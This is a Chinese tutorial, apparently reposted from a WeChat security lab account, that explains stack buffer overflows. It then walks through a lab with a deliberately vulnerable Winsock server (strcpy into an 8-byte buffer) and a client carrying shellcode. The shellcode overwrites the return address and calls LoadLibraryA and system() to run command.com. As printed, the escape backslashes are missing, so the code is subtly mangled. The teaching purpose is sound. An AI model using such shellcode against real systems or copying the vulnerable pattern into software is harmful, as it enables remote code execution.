01
缓冲区溢出
缓冲区溢出(Buffer Overflow)是目前非常普遍而且危险性非常高的漏洞,在各种操作系统和应用软件中广泛存在。
利用缓冲区溢出攻击,可以使远程主机出现程序运行错误、系统死机或者重启等异常现象,它甚至可以被黑客利用,在没有任何系统账户的条件下获得系统最高控制权,进而进行各种非法操作。
缓冲区溢出的原理很简单,类似于把水倒入杯子中,而杯子容量有限,如果倒入水的量超过杯子的容量,水就会溢出来。
缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或者操作系统定义好。缓冲区类似于一个杯子,写入的数据类似于倒入的水。缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。
02
漏洞分析
以下面代码为例
int main()
{
char string[8];
gets(string);
printf("string is %sn", string);
}
对于上述main()函数,由于没有参数,系统首先将main函数的ret和EBP写入堆栈,然后根据string[8]字符数组的大小,堆栈再扩展8个字节的空间用于存放sting[]数组中的局部变量。
当执行gets()函数将局部变量例如AAAA写入string[]数组时,字符串AAAA会先填入内存的低地址空间,然后再是高地址空间。堆栈中内存的分配以4字节为单位,如果gets()函数执行时输入的字符串为AAAAAAAAAAAAAAAA,按照上述填入顺序,原有ret和EBP的内存空间将会被字符串A覆盖,就会发生缓冲区溢出。
发生溢出时,如果用一个实际存在的指令地址来覆盖被调用函数的返回地址,则系统就会转而执行这个指令,这一点就是缓冲区溢出被用来进行攻击的最关键之处。
在UNIX系统中,由于相同shell环境下,程序的堆栈地址信息是相同的,所以只要调试后找到这个堆栈地址,就可以在发生溢出时转而执行这个事先设定的程序了。并且,如果发生溢出的源程序具有管理员权限,则替换后的程序也拥有相同的管理员权限。引起缓冲区溢出的问题主要原因是C和C++本质就是不安全的(Java和C#就相对安全许多)没有边界来检查数据和指针的引用。而软件开发人员经常忽略检查边界,这就会有缓冲区溢出的风险。
03
缓冲区溢出实验
void showcontent(char *buff);
int main(int argc, char **argv)
{
WSADATA wsaData;
if( WSAStartup(0x101, &wsaData) != 0 )
{
printf("Failed Initialization.n");
return 0;
}
if(argc!=2)
{
printf("Usage: server.exe [port]n");
return 0;
}
int port = atoi(argv[1]);
SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sListen == INVALID_SOCKET)
{
printf("Failed socket()n");
return 0;
}
sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if (::bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf("Failed bind()n");
return 0;
}
if (::listen(sListen, 2) == SOCKET_ERROR)
{
printf("Failed listen()n");
return 0;
}
sockaddr_in remoteAddr;
int nAddrLen = sizeof(remoteAddr);
SOCKET sClient;
char szText[] = "TCP Server is Connected!nn";
char buff[1024] = {0};
char toSend[1024] = {0};
while (TRUE)
{
sClient = ::accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen);
if (sClient == INVALID_SOCKET)
{
printf("Failed accept()n");
continue;
}
printf("Somebody is connecting: %sn", inet_ntoa(remoteAddr.sin_addr));
::send(sClient, szText, strlen(szText), 0);
int nRecv = ::recv(sClient, buff, sizeof(buff), 0);
if (nRecv > 0)
{
buff[nRecv] = ' ';
::closesocket(sClient);
break;
}
}
::closesocket(sListen);
showcontent(buff);
return 0;
}
void showcontent(char *buff)
{
char content[8];
strcpy(content, buff);
printf("%s", content);
}
int main(int argc, char* *argv)
{
WSADATA wsaData;
if( WSAStartup(0x101, &wsaData) != 0 )
{
printf("Failed Initialization.n");
return 0;
}
if(argc!=3)
{
printf("Usage: client.exe [Server_IP] [port]n");
return 0;
}
int port = atoi(argv[2]);
SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(s == INVALID_SOCKET)
{
printf("Failed socket()n");
return 0;
}
sockaddr_in servAddr;
servAddr.sin_family = AF_INET;
servAddr.sin_port = htons(port);
servAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);
if(::connect(s, (sockaddr *)&servAddr, sizeof(servAddr)) == -1)
{
printf("Failed connect()n");
return 0;
}
char buff[1024];
int nRev = ::recv(s, buff, sizeof(buff), 0);
if (nRev > 0)
{
buff[nRev] = ' ';
printf("Received: %s", buff);
}
char toSend[] =
"x41x41x41x41x41x41x41x41x41x41x41x41"
"x12x45xfax7f"
"x55x8bxec"
"x33xc0x50x50x50xc6x45xf4x4dxc6x45xf5x53xc6x45"
"xf6x56xc6x45xf7x43xc6x45xf8x52xc6x45xf9x54xc6"
"x45xfax2exc6x45xfbx44xc6x45xfcx4cxc6"
"x45xfdx4cxba"
"x80x1dx80x7c" //loadlibrarya
"x52x8dx45xf4x50xf"
"xffxd0";
char toSend2[] =
"x41x42x43x44"
"x45x46x47x48"
"x12x45xfax7f"
"x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53"
"xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6"
"x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA"
"x9cx3fx88x7c" //loadlibrary地址0x7c883f9c
"x52x8Dx45xF4x50"
"xFFx55xF0"
"x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E"
//command.
"x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4"
// c o m
"x50xB8"
"x7cxbfx93x77" //System地址0x77bf93c7
"xFFxD0";
send(s, toSend, strlen(toSend), 0);
::closesocket(s);
return 0;
}
13、缓冲区溢出实验完毕,关闭虚拟机和所有窗口。
如有侵权,请联系删除。
扫码关注我们
查看更多精彩内容
原文始发于微信公众号(长风实验室):溢出漏洞 | 缓冲区溢出漏洞与原理分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论